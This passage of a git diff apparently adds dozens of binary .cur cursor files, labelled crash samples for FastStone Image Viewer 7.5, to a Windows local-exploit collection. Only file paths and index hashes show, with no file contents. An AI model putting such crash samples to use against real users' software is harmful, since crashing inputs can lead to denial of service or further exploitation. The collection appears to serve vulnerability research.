0000000..4f4b64a Binary files /dev/null and b/windows/x86/local/FastStone_Image_Viewer_v.7.5/CUR Crash Samples/test_25396.cur differ diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/CUR Crash Samples/test_25903.cur b/windows/x86/local/FastStone_Image_Viewer_v.7.5/CUR Crash Samples/test_25903.cur new file mode 100644 index 0000000..3bc269a Binary files /dev/null and b/windows/x86/local/FastStone_Image_Viewer_v.7.5/CUR Crash Samples/test_25903.cur differ diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/CUR Crash Samples/test_2595.cur b/windows/x86/local/FastStone_Image_Viewer_v.7.5/CUR Crash Samples/test_2595.cur new file mode 100644 index 0000000..35e8830 Binary files /dev/null and b/windows/x86/local/FastStone_Image_Viewer_v.7.5/CUR Crash Samples/test_2595.cur differ diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/CUR Crash Samples/test_2623.cur b/windows/x86/local/FastStone_Image_Viewer_v.7.5/CUR Crash Samples/test_2623.cur new file mode 100644 index 0000000..0482af4 Binary files /dev/null and b/windows/x86/local/FastStone_Image_Viewer_v.7.5/CUR Crash Samples/test_2623.cur differ diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/CUR Crash Samples/test_26614.cur b/windows/x86/local/FastStone_Image_Viewer_v.7.5/CUR Crash Samples/test_26614.cur new file mode 100644 index 0000000..1f6fe99 Binary files /dev/null and b/windows/x86/local/FastStone_Image_Viewer_v.7.5/CUR Crash Samples/test_26614.cur differ diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/CUR Crash Samples/test_27102.cur b/windows/x86/local/FastStone_Image_Viewer_v.7.5/CUR Crash Samples/test_27102.cur new file mode 100644 index 0000000..1b7da8c Binary files /dev/null and b/windows/x86/local/FastStone_Image_Viewer_v.7.5/CUR Crash Samples/test_27102.cur differ diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/CUR Crash Samples/test_27116.cur b/windows/x86/local/FastStone_Image_Viewer_v.7.5/CUR Crash Samples/test_27116.cur new file mode 100644 index 0000000..3ea70a5 Binary files /dev/null and b/windows/x86/local/FastStone_Image_Viewer_v.7.5/CUR Crash Samples/test_27116.cur differ diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/CUR Crash Samples/test_27387.cur b/windows/x86/local/FastStone_Image_Viewer_v.7.5/CUR Crash Samples/test_27387.cur new file mode 100644 index 0000000..ee55c3f Binary files /dev/null and b/windows/x86/local/FastStone_Image_Viewer_v.7.5/CUR Crash Samples/test_27387.cur differ diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/CUR Crash Samples/test_27794.cur b/windows/x86/local/FastStone_Image_Viewer_v.7.5/CUR Crash Samples/test_27794.cur new file mode 100644 index 0000000..19cffbb Binary files /dev/null and b/windows/x86/local/FastStone_Image_Viewer_v.7.5/CUR Crash Samples/test_27794.cur differ diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/CUR Crash Samples/test_2781.cur b/windows/x86/local/FastStone_Image_Viewer_v.7.5/CUR Crash Samples/test_2781.cur new file mode 100644 index 0000000..4ade694 Binary files /dev/null and b/windows/x86/local/FastStone_Image_Viewer_v.7.5/CUR Crash Samples/test_2781.cur differ diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/CUR Crash Samples/test_28527.cur b/windows/x86/local/FastStone_Image_Viewer_v.7.5/CUR Crash Samples/test_28527.cur new file mode 100644 index 0000000..0e06587 Binary files /dev/null and b/windows/x86/local/FastStone_Image_Viewer_v.7.5/CUR Crash Samples/test_28527.cur differ diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/CUR Crash Samples/test_28687.cur b/windows/x86/local/FastStone_Image_Viewer_v.7.5/CUR Crash Samples/test_28687.cur new file mode 100644 index 0000000..5a2b549 Binary files /dev/null and b/windows/x86/local/FastStone_Image_Viewer_v.7.5/CUR Crash Samples/test_28687.cur differ diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/CUR Crash Samples/test_2894.cur b/windows/x86/local/FastStone_Image_Viewer_v.7.5/CUR Crash Samples/test_2894.cur new file mode 100644 index 0000000..72d42ca Binary files /dev/null and b/windows/x86/local/FastStone_Image_Viewer_v.7.5/CUR Crash Samples/test_2894.cur differ diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/CUR Crash Samples/test_29083.cur b/windows/x86/local/FastStone_Image_Viewer_v.7.5/CUR Crash Samples/test_29083.cur new file mode 100644 index 0000000..a451373 Binary files /dev/null and b/windows/x86/local/FastStone_Image_Viewer_v.7.5/CUR Crash Samples/test_29083.cur differ diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/CUR Crash Samples/test_29254.cur b/windows/x86/local/FastStone_Image_Viewer_v.7.5/CUR Crash Samples/test_29254.cur new file mode 100644 index 0000000..73107e6 Binary files /dev/null and b/windows/x86/local/FastStone_Image_Viewer_v.7.5/CUR Crash Samples/test_29254.cur differ diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/CUR Crash Samples/test_2930.cur b/windows/x86/local/FastStone_Image_Viewer_v.7.5/CUR Crash Samples/test_2930.cur new file mode 100644 index 0000000..a0e784e Binary files /dev/null and b/windows/x86/local/FastStone_Image_Viewer_v.7.5/CUR Crash Samples/test_2930.cur differ diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/CUR Crash Samples/test_29415.cur b/windows/x86/local/FastStone_Image_Viewer_v.7.5/CUR Crash Samples/test_29415.cur new file mode 100644 index 0000000..5962a07 Binary files /dev/null and b/windows/x86/local/FastStone_Image_Viewer_v.7.5/CUR Crash Samples/test_29415.cur differ diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/CUR Crash Samples/test_29811.cur b/windows/x86/local/FastStone_Image_Viewer_v.7.5/CUR Crash Samples/test_29811.cur new file mode 100644 index 0000000..fabbafa Binary files /dev/null and b/windows/x86/local/FastStone_Image_Viewer_v.7.5/CUR Crash Samples/test_29811.cur differ diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/CUR Crash Samples/test_30181.cur b/windows/x86/local/FastStone_Image_Viewer_v.7.5/CUR Crash Samples/test_30181.cur new file mode 100644 index 0000000..22c25bd Binary files /dev/null and b/windows/x86/local/FastStone_Image_Viewer_v.7.5/CUR Crash Samples/test_30181.cur differ diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/CUR Crash Samples/test_30331.cur b/windows/x86/local/FastStone_Image_Viewer_v.7.5/CUR Crash Samples/test_30331.cur new file mode 100644 index 0000000..a460ff6 Binary files /dev/null and b/windows/x86/local/FastStone_Image_Viewer_v.7.5/CUR Crash Samples/test_30331.cur differ diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/CUR Crash Samples/test_3089.cur b/windows/x86/local/FastStone_Image_Viewer_v.7.5/CUR Crash Samples/test_3089.cur new file mode 100644 index 0000000..48c7986 Binary files /dev/null and b/windows/x86/local/FastStone_Image_Viewer_v.7.5/CUR Crash Samples/test_3089.cur differ diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/CUR Crash Samples/test_31521.cur b/windows/x86/local/FastStone_Image_Viewer_v.7.5/CUR Crash Samples/test_31521.cur new file mode 100644 index 0000000..4e04b59 Binary files /dev/null and b/windows/x86/local/FastStone_Image_Viewer_v.7.5/CUR Crash Samples/test_31521.cur differ diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/CUR Crash Samples/test_31724.cur b/windows/x86/local/FastStone_Image_Viewer_v.7.5/CUR Crash Samples/test_31724.cur new file mode 100644 index 0000000..4e04b59 Binary files /dev/null and b/windows/x86/local/FastStone_Image_Viewer_v.7.5/CUR Crash Samples/test_31724.cur differ diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/CUR Crash Samples/test_31937.cur b/windows/x86/local/FastStone_Image_Viewer_v.7.5/CUR Crash Samples/test_31937.cur new file mode 100644 index 0000000..c058592 Binary files /dev/null and b/windows/x86/local/FastStone_Image_Viewer_v.7.5/CUR Crash Samples/test_31937.cur differ diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/CUR Crash Samples/test_32031.cur b/windows/x86/local/FastStone_Image_Viewer_v.7.5/CUR Crash Samples/test_32031.cur new file mode 100644 index 0000000..f5cc8e1 Binary files /dev/null and b/windows/x86/local/FastStone_Image_Viewer_v.7.5/CUR Crash Samples/test_32031.cur differ diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/CUR Crash Samples/test_32032.cur b/windows/x86/local/FastStone_Image_Viewer_v.7.5/CUR Crash Samples/test_32032.cur new file mode 100644 index 0000000..c9bd847 Binary files /dev/null and b/windows/x86/local/FastStone_Image_Viewer_v.7.5/CUR Crash Samples/test_32032.cur differ diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/CUR Crash Samples/test_32304.cur b/windows/x86/local/FastStone_Image_Viewer_v.7.5/CUR Crash Samples/test_32304.cur new file mode 100644 index 0000000..41e0475 Binary files /dev/null and b/windows/x86/local/FastStone_Image_Viewer_v.7.5/CUR Crash Samples/test_32304.cur differ diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/CUR Crash Samples/test_32513.cur b/windows/x86/local/FastStone_Image_Viewer_v.7.5/CUR Crash Samples/test_32513.cur new file mode 100644 index 0000000..a460ff6 Binary files /dev/null and b/windows/x86/local/FastStone_Image_Viewer_v.7.5/CUR Crash Samples/test_32513.cur differ diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/CUR Crash Samples/test_3264.cur b/windows/x86/local/FastStone_Image_Viewer_v.7.5/CUR Crash Samples/test_3264.cur new file mode 100644 index 0000000..fcc40aa Binary files /dev/null and b/windows/x86/local/FastStone_Image_Viewer_v.7.5/CUR Crash Samples/test_3264.cur differ diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/CUR Crash Samples/test_32704.cur b/windows/x86/local/FastStone_Image_Viewer_v.7.5/CUR Crash Samples/test_32704.cur new file mode 100644 index 0000000..4e04b59 Binary files /dev/null and b/windows/x86/local/FastStone_Image_Viewer_v.7.5/CUR Crash Samples/test_32704.cur differ diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/CUR Crash Samples/test_3306.cur b/windows/x86/local/FastStone_Image_Viewer_v.7.5/CUR Crash Samples/test_3306.cur new file mode 100644 index 0000000..e0eca22 Binary files /dev/null and b/windows/x86/local/FastStone_Image_Viewer_v.7.5/CUR Crash Samples/test_3306.cur differ diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/CUR Crash Samples/test_33306.cur b/windows/x86/local/FastStone_Image_Viewer_v.7.5/CUR Crash Samples/test_33306.cur new file mode 100644 index 0000000..b53b971 Binary files /dev/null and b/windows/x86/local/FastStone_Image_Viewer_v.7.5/CUR Crash Samples/test_33306.cur differ diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/CUR Crash Samples/test_33773.cur b/windows/x86/local/FastStone_Image_Viewer_v.7.5/CUR Crash Samples/test_33773.cur new file mode 100644 index 0000000..1dd1aed Binary files /dev/null and b/windows/x86/local/FastStone_Image_Viewer_v.7.5/CUR Crash Samples/test_33773.cur differ diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/CUR Crash Samples/test_3384.cur b/windows/x86/local/FastStone_Image_Viewer_v.7.5/CUR Crash Samples/test_3384.cur new file mode 100644 index 0000000..53428ad Binary files /dev/null and b/windows/x86/local/FastStone_Image_Viewer_v.7.5/CUR Crash Samples/test_3384.cur differ diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/CUR Crash Samples/test_3403.cur b/windows/x86/local/FastStone_Image_Viewer_v.7.5/CUR Crash Samples/test_3403.cur new file mode 100644 index 0000000..c7d5c40 Binary files /dev/null and b/windows/x86/local/FastStone_Image_Viewer_v.7.5/CUR Crash Samples/test_3403.cur differ diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/CUR Crash Samples/test_3422.cur b/windows/x86/local/FastStone_Image_Viewer_v.7.5/CUR Crash Samples/test_3422.cur new file mode 100644 index 0000000..d97913a Binary files /dev/null and b/windows/x86/local/FastStone_Image_Viewer_v.7.5/CUR Crash Samples/test_3422.cur differ diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/CUR Crash Samples/test_34479.cur b/windows/x86/local/FastStone_Image_Viewer_v.7.5/CUR Crash Samples/test_34479.cur new file mode 100644 index 0000000..622f626 Binary files /dev/null and b/windows/x86/local/FastStone_Image_Viewer_v.7.5/CUR Crash Samples/test_34479.cur differ diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/CUR Crash Samples/test_34574.cur b/windows/x86/local/FastStone_Image_Viewer_v.7.5/CUR Crash Samples/test_34574.cur new file mode 100644 index 0000000..d06cf59 Binary files /dev/null and b/windows/x86/local/FastStone_Image_Viewer_v.7.5/CUR Crash Samples/test_34574.cur differ diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/CUR Crash Samples/test_35711.cur b/windows/x86/local/FastStone_Image_Viewer_v.7.5/CUR Crash Samples/test_35711.cur new file mode 100644 index 0000000..238e1ff Binary files /dev/null and b/windows/x86/local/FastStone_Image_Viewer_v.7.5/CUR Crash Samples/test_35711.cur differ diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/CUR Crash Samples/test_35877.cur b/windows/x86/local/FastStone_Image_Viewer_v.7.5/CUR Crash Samples/test_35877.cur new file mode 100644 index 0000000..8a9619c Binary files /dev/null and b/windows/x86/local/FastStone_Image_Viewer_v.7.5/CUR Crash Samples/test_35877.cur differ diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/CUR Crash Samples/test_36074.cur b/windows/x86/local/FastStone_Image_Viewer_v.7.5/CUR Crash Samples/test_36074.cur new file mode 100644 index 0000000..ad06163 Binary files /dev/null and b/windows/x86/local/FastStone_Image_Viewer_v.7.5/CUR Crash Samples/test_36074.cur differ diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/CUR Crash Samples/test_36259.cur b/windows/x86/local/FastStone_Image_Viewer_v.7.5/CUR Crash Samples/test_36259.cur new file mode 100644 index 0000000..abe8862 Binary files /dev/null and b/windows/x86/local/FastStone_Image_Viewer_v.7.5/CUR Crash Samples/test_36259.cur differ diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/CUR Crash Samples/test_36262.cur b/windows/x86/local/FastStone_Image_Viewer_v.7.5/CUR Crash Samples/test_36262.cur new file mode 100644 index 0000000..25a1855 Binary files /dev/null and b/windows/x86/local/FastStone_Image_Viewer_v.7.5/CUR Crash Samples/test_36262.cur differ diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/CUR Crash Samples/test_36850.cur b/windows/x86/local/FastStone_Image_Viewer_v.7.5/CUR Crash Samples/test_36850.cur new file mode 100644 index 0000000..de06d63 Binary files /dev/null and b/windows/x86/local/FastStone_Image_Viewer_v.7.5/CUR Crash Samples/test_36850.cur differ diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/CUR Crash Samples/test_37329.cur b/windows/x86/local/FastStone_Image_Viewer_v.7.5/CUR Crash Samples/test_37329.cur new file mode 100644 index 0000000..4e04b59 Binary files /dev/null and b/windows/x86/local/FastStone_Image_Viewer_v.7.5/CUR Crash Samples/test_37329.cur differ diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/CUR Crash Samples/test_37345.cur b/windows/x86/local/FastStone_Image_Viewer_v.7.5/CUR Crash Samples/test_37345.cur new file mode 100644 index 0000000..f5cc8e1 Binary files /dev/null and b/windows/x86/local/FastStone_Image_Viewer_v.7.5/CUR Crash Samples/test_37345.cur differ diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/CUR Crash Samples/test_37672.cur b/windows/x86/local/FastStone_Image_Viewer_v.7.5/CUR Crash Samples/test_37672.cur new file mode 100644 index 0000000..ebbf12c Binary files /dev/null and b/windows/x86/local/FastStone_Image_Viewer_v.7.5/CUR Crash Samples/test_37672.cur differ diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/CUR Crash Samples/test_38066.cur b/windows/x86/local/FastStone_Image_Viewer_v.7.5/CUR Crash Samples/test_38066.cur new file mode 100644 index 0000000..997f27d Binary files /dev/null and b/windows/x86/local/FastStone_Image_Viewer_v.7.5/CUR Crash Samples/test_38066.cur differ diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/CUR Crash Samples/test_3814.cur b/windows/x86/local/FastStone_Image_Viewer_v.7.5/CUR Crash Samples/test_3814.cur new file mode 100644 index 0000000..5f83f84 Binary files /dev/null and b/windows/x86/local/FastStone_Image_Viewer_v.7.5/CUR Crash Samples/test_3814.cur differ diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/CUR Crash Samples/test_39621.cur b/windows/x86/local/FastStone_Image_Viewer_v.7.5/CUR Crash Samples/test_39621.cur new file mode 100644 index 0000000..a460ff6 Binary files /dev/null and b/windows/x86/local/FastStone_Image_Viewer_v.7.5/CUR Crash Samples/test_39621.cur differ diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/CUR Crash Samples/test_41221.cur b/windows/x86/local/FastStone_Image_Viewer_v.7.5/CUR Crash Samples/test_41221.cur new file mode 100644 index 0000000..ccd7bbd Binary files /dev/null and b/windows/x86/local/FastStone_Image_Viewer_v.7.5/CUR Crash Samples/test_41221.cur differ diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/CUR Crash Samples/test_41618.cur b/windows/x86/local/FastStone_Image_Viewer_v.7.5/CUR Crash Samples/test_41618.cur new file mode 100644 index 0000000..941dab1 Binary files /dev/null and b/windows/x86/local/FastStone_Image_Viewer_v.7.5/CUR Crash Samples/test_41618.cur differ diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/CUR Crash Samples/test_41664.cur b/windows/x86/local/FastStone_Image_Viewer_v.7.5/CUR Crash Samples/test_41664.cur new file mode 100644 index 0000000..21777a1 Binary files /dev/null and b/windows/x86/local/FastStone_Image_Viewer_v.7.5/CUR Crash Samples/test_41664.cur differ diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/CUR Crash Samples/test_42112.cur b/windows/x86/local/FastStone_Image_Viewer_v.7.5/CUR Crash Samples/test_42112.cur new file mode 100644 index 0000000..36b2940 Binary files /dev/null and b/windows/x86/local/FastStone_Image_Viewer_v.7.5/CUR Crash Samples/test_42112.cur differ diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/CUR Crash Samples/test_42799.cur b/windows/x86/local/FastStone_Image_Viewer_v.7.5/CUR Crash Samples/test_42799.cur new file mode 100644 index 0000000..bd3426e Binary files /dev/null and b/windows/x86/local/FastStone_Image_Viewer_v.7.5/CUR Crash Samples/test_42799.cur differ diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/CUR Crash Samples/test_42935.cur b/windows/x86/local/FastStone_Image_Viewer_v.7.5/CUR Crash Samples/test_42935.cur new file mode 100644 index 0000000..cb630bc Binary files /dev/null and b/windows/x86/local/FastStone_Image_Viewer_v.7.5/CUR Crash Samples/test_42935.cur differ diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/CUR Crash Samples/test_42944.cur b/windows/x86/local/FastStone_Image_Viewer_v.7.5/CUR Crash Samples/test_42944.cur new file mode 100644 index 0000000..e696096 Binary files /dev/null and b/windows/x86/local/FastStone_Image_Viewer_v.7.5/CUR Crash Samples/test_42944.cur differ diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/CUR Crash Samples/test_43368.cur b/windows/x86/local/FastStone_Image_Viewer_v.7.5/CUR Crash Samples/test_43368.cur new file mode 100644 index 0000000..f7b5af6 Binary files /dev/null and b/windows/x86/local/FastStone_Image_Viewer_v.7.5/CUR Crash Samples/test_43368.cur differ diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/CUR Crash Samples/test_4404.cur b/windows/x86/local/FastStone_Image_Viewer_v.7.5/CUR Crash Samples/test_4404.cur new file mode 100644 index 0000000..fabbafa Binary files /dev/null and b/windows/x86/local/FastStone_Image_Viewer_v.7.5/CUR Crash Samples/test_4404.cur differ diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/CUR Crash Samples/test_44518.cur b/windows/x86/local/FastStone_Image_Viewer_v.7.5/CUR Crash Samples/test_44518.cur new file mode 100644 index 0000000..a460ff6 Binary files /dev/null and b/windows/x86/local/FastStone_Image_Viewer_v.7.5/CUR Crash Samples/test_44518.cur differ diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/CUR Crash Samples/test_44546.cur b/windows/x86/local/FastStone_Image_Viewer_v.7.5/CUR Crash Samples/test_44546.cur new file mode 100644 index 0000000..8d102c9 Binary files /dev/null and b/windows/x86/local/FastStone_Image_Viewer_v.7.5/CUR Crash Samples/test_44546.cur differ diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/CUR Crash Samples/test_44712.cur b/windows/x86/local/FastStone_Image_Viewer_v.7.5/CUR Crash Samples/test_44712.cur new file mode 100644 index 0000000..f0a7ca5 Binary files /dev/null and b/windows/x86/local/FastStone_Image_Viewer_v.7.5/CUR Crash Samples/test_44712.cur differ diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/CUR Crash Samples/test_45316.cur b/windows/x86/local/FastStone_Image_Viewer_v.7.5/CUR Crash Samples/test_45316.cur new file mode 100644 index 0000000..4f119f7 Binary files /dev/null and b/windows/x86/local/FastStone_Image_Viewer_v.7.5/CUR Crash Samples/test_45316.cur differ diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/CUR Crash Samples/test_45348.cur b/windows/x86/local/FastStone_Image_Viewer_v.7.5/CUR Crash Samples/test_45348.cur new file mode 100644 index 0000000..4e04b59 Binary files /dev/null and b/windows/x86/local/FastStone_Image_Viewer_v.7.5/CUR Crash Samples/test_45348.cur differ diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/CUR Crash Samples/test_45480.cur b/windows/x86/local/FastStone_Image_Viewer_v.7.5/CUR Crash Samples/test_45480.cur new file mode 100644 index 0000000..a826fe3 Binary files /dev/null and b/windows/x86/local/FastStone_Image_Viewer_v.7.5/CUR Crash Samples/test_45480.cur differ diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/CUR Crash Samples/test_45672.cur b/windows/x86/local/FastStone_Image_Viewer_v.7.5/CUR Crash Samples/test_45672.cur new file mode 100644 index 0000000..236ec72 Binary files /dev/null and b/windows/x86/local/FastStone_Image_Viewer_v.7.5/CUR Crash Samples/test_45672.cur differ diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/CUR Crash Samples/test_457.cur b/windows/x86/local/FastStone_Image_Viewer_v.7.5/CUR Crash Samples/test_457.cur new file mode 100644 index 0000000..9a6bd65 Binary files /dev/null and b/windows/x86/local/FastStone_Image_Viewer_v.7.5/CUR Crash Samples/test_457.cur differ diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/CUR Crash Samples/test_46226.cur b/windows/x86/local/FastStone_Image_Viewer_v.7.5/CUR Crash Samples/test_46226.cur new file mode 100644 index 0000000..94f71f2 Binary files /dev/null and b/windows/x86/local/FastStone_Image_Viewer_v.7.5/CUR Crash Samples/test_46226.cur differ diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/CUR Crash Samples/test_46544.cur b/windows/x86/local/FastStone_Image_Viewer_v.7.5/CUR Crash Samples/test_46544.cur new file mode 100644 index 0000000..c9a8e3d Binary files /dev/null and b/windows/x86/local/FastStone_Image_Viewer_v.7.5/CUR Crash Samples/test_46544.cur differ diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/CUR Crash Samples/test_47003.cur b/windows/x86/local/FastStone_Image_Viewer_v.7.5/CUR Crash Samples/test_47003.cur new file mode 100644 index 0000000..138713c Binary files /dev/null and b/windows/x86/local/FastStone_Image_Viewer_v.7.5/CUR Crash Samples/test_47003.cur differ diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/CUR Crash Samples/test_47287.cur b/windows/x86/local/FastStone_Image_Viewer_v.7.5/CUR Crash Samples/test_47287.cur new file mode 100644 index 0000000..362623d Binary files /dev/null and b/windows/x86/local/FastStone_Image_Viewer_v.7.5/CUR Crash Samples/test_47287.cur differ diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/CUR Crash Samples/test_47308.cur b/windows/x86/local/FastStone_Image_Viewer_v.7.5/CUR Crash Samples/test_47308.cur new file mode 100644 index 0000000..c26ec41 Binary files /dev/null and b/windows/x86/local/FastStone_Image_Viewer_v.7.5/CUR Crash Samples/test_47308.cur differ diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/CUR Crash Samples/test_48494.cur b/windows/x86/local/FastStone_Image_Viewer_v.7.5/CUR Crash Samples/test_48494.cur new file mode 100644 index 0000000..a460ff6 Binary files /dev/null and b/windows/x86/local/FastStone_Image_Viewer_v.7.5/CUR Crash Samples/test_48494.cur differ diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/CUR Crash Samples/test_48637.cur b/windows/x86/local/FastStone_Image_Viewer_v.7.5/CUR Crash Samples/test_48637.cur new file mode 100644 index 0000000..2d3b68e Binary files /dev/null and b/windows/x86/local/FastStone_Image_Viewer_v.7.5/CUR Crash Samples/test_48637.cur differ diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/CUR Crash Samples/test_49032.cur b/windows/x86/local/FastStone_Image_Viewer_v.7.5/CUR Crash Samples/test_49032.cur new file mode 100644 index 0000000..7a46609 Binary files /dev/null and b/windows/x86/local/FastStone_Image_Viewer_v.7.5/CUR Crash Samples/test_49032.cur differ diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/CUR Crash Samples/test_491.cur b/windows/x86/local/FastStone_Image_Viewer_v.7.5/CUR Crash Samples/test_491.cur new file mode 100644 index 0000000..20cf21e Binary files /dev/null and b/windows/x86/local/FastStone_Image_Viewer_v.7.5/CUR Crash Samples/test_491.cur differ diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/CUR Crash Samples/test_49136.cur b/windows/x86/local/FastStone_Image_Viewer_v.7.5/CUR Crash Samples/test_49136.cur new file mode 100644 index 0000000..702a041 Binary files /dev/null and b/windows/x86/local/FastStone_Image_Viewer_v.7.5/CUR Crash Samples/test_49136.cur differ diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/CUR Crash Samples/test_49386.cur b/windows/x86/local/FastStone_Image_Viewer_v.7.5/CUR Crash Samples/test_49386.cur new file mode 100644 index 0000000..f04e404 Binary files /dev/null and b/windows/x86/local/FastStone_Image_Viewer_v.7.5/CUR Crash Samples/test_49386.cur differ diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/CUR Crash Samples/test_49829.cur b/windows/x86/local/FastStone_Image_Viewer_v.7.5/CUR Crash Samples/test_49829.cur new file mode 100644 index 0000000..83b51d8 Binary files /dev/null and b/windows/x86/local/FastStone_Image_Viewer_v.7.5/CUR Crash Samples/test_49829.cur differ diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/CUR Crash Samples/test_50273.cur b/windows/x86/local/FastStone_Image_Viewer_v.7.5/CUR Crash Samples/test_50273.cur new file mode 100644 index 0000000..fc47838 Binary files /dev/null and b/windows/x86/local/FastStone_Image_Viewer_v.7.5/CUR Crash Samples/test_50273.cur differ diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/CUR Crash Samples/test_50339.cur b/windows/x86/local/FastStone_Image_Viewer_v.7.5/CUR Crash Samples/test_50339.cur new file mode 100644 index 0000000..a451373 Binary files /dev/null and b/windows/x86/local/FastStone_Image_Viewer_v.7.5/CUR Crash Samples/test_50339.cur differ diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/CUR Crash Samples/test_506.cur b/windows/x86/local/FastStone_Image_Viewer_v.7.5/CUR Crash Samples/test_506.cur new file mode 100644 index 0000000..cfa3e5d Binary files /dev/null and b/windows/x86/local/FastStone_Image_Viewer_v.7.5/CUR Crash Samples/test_506.cur differ diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/CUR Crash Samples/test_50623.cur b/windows/x86/local/FastStone_Image_Viewer_v.7.5/CUR Crash Samples/test_50623.cur new file mode 100644 index 0000000..4332f88 Binary files /dev/null and b/windows/x86/local/FastStone_Image_Viewer_v.7.5/CUR Crash Samples/test_50623.cur differ diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/CUR Crash Samples/test_527.cur b/windows/x86/local/FastStone_Image_Viewer_v.7.5/CUR Crash Samples/test_527.cur new file mode 100644 index 0000000..342baa2 Binary files /dev/null and b/windows/x86/local/FastStone_Image_Viewer_v.7.5/CUR Crash Samples/test_527.cur differ diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/CUR Crash Samples/test_53026.cur b/windows/x86/local/FastStone_Image_Viewer_v.7.5/CUR Crash Samples/test_53026.cur new file mode 100644 index 0000000..4e04b59 Binary files /dev/null and b/windows/x86/local/FastStone_Image_Viewer_v.7.5/CUR Crash Samples/test_53026.cur differ diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/CUR Crash Samples/test_53608.cur b/windows/x86/local/FastStone_Image_Viewer_v.7.5/CUR Crash Samples/test_53608.cur new file mode 100644 index 0000000..b3abcb1 Binary files /dev/null and b/windows/x86/local/FastStone_Image_Viewer_v.7.5/CUR Crash Samples/test_53608.cur differ diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/CUR Crash Samples/test_54155.cur b/windows/x86/local/FastStone_Image_Viewer_v.7.5/CUR Crash Samples/test_54155.cur new file mode 100644 index 0000000..343b067 Binary files /dev/null and b/windows/x86/local/FastStone_Image_Viewer_v.7.5/CUR Crash Samples/test_54155.cur differ diff --git 